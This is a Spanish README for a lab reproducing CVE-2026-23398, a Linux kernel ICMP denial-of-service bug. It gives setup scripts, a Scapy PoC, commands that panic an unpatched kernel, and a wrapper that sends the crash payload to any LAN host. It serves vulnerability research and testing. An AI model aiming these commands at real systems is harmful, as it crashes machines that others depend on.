
Laboratorio reproducible para CVE-2026-23398, una desreferencia de puntero NULL en el kernel de Linux en icmp_tag_validation() provocada por paquetes ICMP Fragmentation Needed, que causa una denegación de servicio. Incluye configuración de VM QEMU, PoC con Scapy y scripts para probar kernels parcheados y vulnerables.
ip_no_pmtu_disc=3)Laboratorio reproducible para el fallo del kernel Linux en icmp_tag_validation() (desreferencia de puntero NULL cuando net.ipv4.ip_no_pmtu_disc = 3 y llega un ICMP Fragmentation Needed cuya cabecera IPv4 interna citada utiliza un número de protocolo sin manejador en inet_protos[]).
Solo uso autorizado: sistemas que poseas o para los que tengas permiso escrito explícito para realizar pruebas. El impacto es denegación de servicio (pánico del kernel).
| Componente | Propósito |
|---|
QEMU (qemu-system-x86_64, qemu-img) | VM víctima |
cloud-image-utils (cloud-localds), wget, genisoimage | Cloud-init y descarga de imágenes |
| Docker + Docker Compose | Emisor de ICMP desde el host (modo de red host) |
| Cliente OpenSSH | Automatización SSH |
Clave SSH en ~/.ssh/id_ed25519.pub o id_rsa.pub, o sshpass | Inicio de sesión en el invitado sin escribir contraseña (se recomiendan claves) |
| sudo | Solo modo TAP (ICMP desde el host a la IP fija de la VM) |
Python 3 y Scapy en el host solo son necesarios si no usas Docker para cargas útiles remotas.
├── send_frag_needed.py # PoC de Scapy (ICMP 3,4 + IP interna con proto poco común)
├── send-payload-to-host.sh # Envía la carga útil a una IP/hostname en tu red
├── docker-compose.yml # Servicio "sender" (red host + CAP_NET_RAW)
├── Dockerfile
├── vm/ # Discos, semillas cloud-init, registros seriales de QEMU
└── scripts/
├── fetch-image.sh
├── prepare-disk.sh
├── build-seed-dhcp.sh # Semilla DHCP (modo usernet)
├── build-seed.sh # Semilla estática 192.168.76.2 (modo TAP)
├── vm-start-usernet.sh # QEMU + red de usuario (puerto SSH 2222)
├── vm-stop-usernet.sh
├── vm-start.sh / vm-stop.sh # QEMU + TAP (después de tap-up.sh)
├── tap-up.sh / tap-down.sh # Interfaz TAP en el host (sudo)
├── run-lab-usernet.sh # Flujo completo: imagen + VM + Scapy en el invitado (kernel reciente)
├── run-lab.sh # Flujo TAP + emisor docker → 192.168.76.2
├── install-vulnerable-mainline.sh # Mainline 6.12 sin parche + PoC veth (pánico)
└── poc-veth-netns.sh # Ejecutar *dentro* del invitado (veth + netns)
La red de usuario de QEMU no entrega de forma fiable ICMP originado en el host al invitado. El flujo automatizado instala Scapy en la VM y ejecuta el script allí. Un kernel Ubuntu actual suele estar parcheado: verás "Sent 1 packets" pero sin pánico.
cd /path/to/repo
chmod +x scripts/*.sh send-payload-to-host.sh
# Primera ejecución: descargar imagen cloud de Ubuntu Noble, overlay, semilla, iniciar QEMU, SSH :2222, apt, PoC
./scripts/run-lab-usernet.sh
ssh -p 2222 [email protected] (contraseña lablab si dependes de autenticación por contraseña)../scripts/vm-stop-usernet.shvm/serial-usernet.logEl parche de la CVE llegó en marzo de 2026. Una compilación mainline más antigua (p. ej. 6.12.0 de 2024-11) no incluye ese parche. El script instala esos paquetes .deb en la VM, reinicia y ejecuta el PoC usando veth + un espacio de nombres de red para que el ICMP siga una ruta ingress real (enviar solo a la IP de loopback/interfaz del propio invitado no es suficiente).
Advertencia: esto normalmente termina en un pánico del kernel; SSH deja de responder.
# VM usernet en ejecución (o después de que run-lab-usernet la haya creado una vez)
./scripts/vm-start-usernet.sh # si no está ya en ejecución
./scripts/install-vulnerable-mainline.sh
| Señal | El pánico sí ocurrió (esperado en 6.12 vulnerable) | El pánico no ocurrió |
|---|---|---|
| SSH justo después de "Running PoC …" | Se cuelga o Connection timed out / Connection reset | La sesión sigue funcionando; obtienes un shell |
Salida de send_frag_needed.py | Deberías ver . Sent 1 packets. antes de que SSH muera (a menudo truncado si el enlace cae inmediatamente) | Install Scapy: pip install scapy → Scapy faltaba en el invitado; el ICMP nunca se envió. Vuelve a ejecutar install-vulnerable-mainline.sh (instala python3-scapy) o ejecuta sudo apt install -y python3-scapy en la VM y vuelve a ejecutar el PoC |
| Registro serial | tail -f vm/serial-usernet.log muestra Kernel panic, icmp_unreach, CR2: 0000000000000010, etc. | Sin líneas de pánico; el invitado sigue ejecutándose |
| Proceso QEMU | Sigue en ejecución pero el SO invitado está muerto hasta reiniciar | El invitado sigue respondiendo en el puerto 2222 |
Nota sobre disco nuevo: Si solo ejecutas prepare-disk.sh + vm-start-usernet.sh (no run-lab-usernet.sh), el invitado puede no tener python3-scapy hasta que install-vulnerable-mainline.sh lo instale (o lo instales manualmente).
Después de un pánico — reinicio limpio:
./scripts/vm-stop-usernet.sh
rm -f vm/victim.qcow2
./scripts/prepare-disk.sh
./scripts/build-seed-dhcp.sh
./scripts/vm-start-usernet.sh
# opcional: reinstalar paquetes / volver a ejecutar install-vulnerable-mainline.sh
El invitado usa 192.168.76.2 y el host 192.168.76.1 en el TAP. El ICMP se comporta como en una LAN real.
./scripts/tap-up.sh # sudo: crea icmp-lab-tap0
./scripts/prepare-disk.sh
./scripts/build-seed.sh # direccionamiento estático en cloud-init
./scripts/vm-start.sh
./scripts/wait-ssh.sh 192.168.76.2
# En la VM: sysctl -w net.ipv4.ip_no_pmtu_disc=3 y un kernel vulnerable si quieres pánico
docker compose build
docker compose run --rm sender 192.168.76.2
./scripts/run-lab.sh encadena parte de esto (requiere TAP + Docker).
Wrapper de conveniencia (resuelve hostname → IPv4, prefiere Docker, si no sudo + Python):
chmod +x send-payload-to-host.sh
docker compose build # una vez
./send-payload-to-host.sh 192.168.1.50
./send-payload-to-host.sh myserver.lan --inner-proto 253 --nexthop-mtu 1200
Sin Docker:
sudo pip install scapy # si es necesario
sudo ./send-payload-to-host.sh 192.168.1.50
Condiciones del objetivo que importan para esta CVE:
net.ipv4.ip_no_pmtu_disc = 3 (modo PMTU endurecido).Si el kernel está parcheado o el sysctl no es 3, no verás un pánico; el paquete puede transmitirse igualmente por el cable.
| Variable | Descripción |
|---|---|
ICMP_LAB_TAP | Nombre del dispositivo TAP (por defecto icmp-lab-tap0) |
ICMP_LAB_HOST_IP | Dirección del host en TAP (por defecto 192.168.76.1/24) |
ICMP_LAB_SSH_PORT | Puerto SSH de usernet (por defecto 2222) |
ICMP_LAB_SSH_HOST | Host SSH (por defecto 127.0.0.1) |
icmp: fix NULL pointer dereference in icmp_tag_validation() (commit 614aefe56af8e en mainline)3: commit 8ed1dc44d3e9 (hardened ip_no_pmtu_disc)| Objetivo | Comando |
|---|---|
| Laboratorio usernet por primera vez | ./scripts/run-lab-usernet.sh |
| Iniciar / detener VM usernet | ./scripts/vm-start-usernet.sh / ./scripts/vm-stop-usernet.sh |
| Kernel vulnerable + PoC (pánico) | ./scripts/install-vulnerable-mainline.sh |
| Restablecer disco tras pánico | rm -f vm/victim.qcow2 && ./scripts/prepare-disk.sh && ./scripts/build-seed-dhcp.sh |
| Carga útil a IP/host de LAN | ./send-payload-to-host.sh <IP|hostname> |
| Compilar imagen del emisor Docker | docker compose build |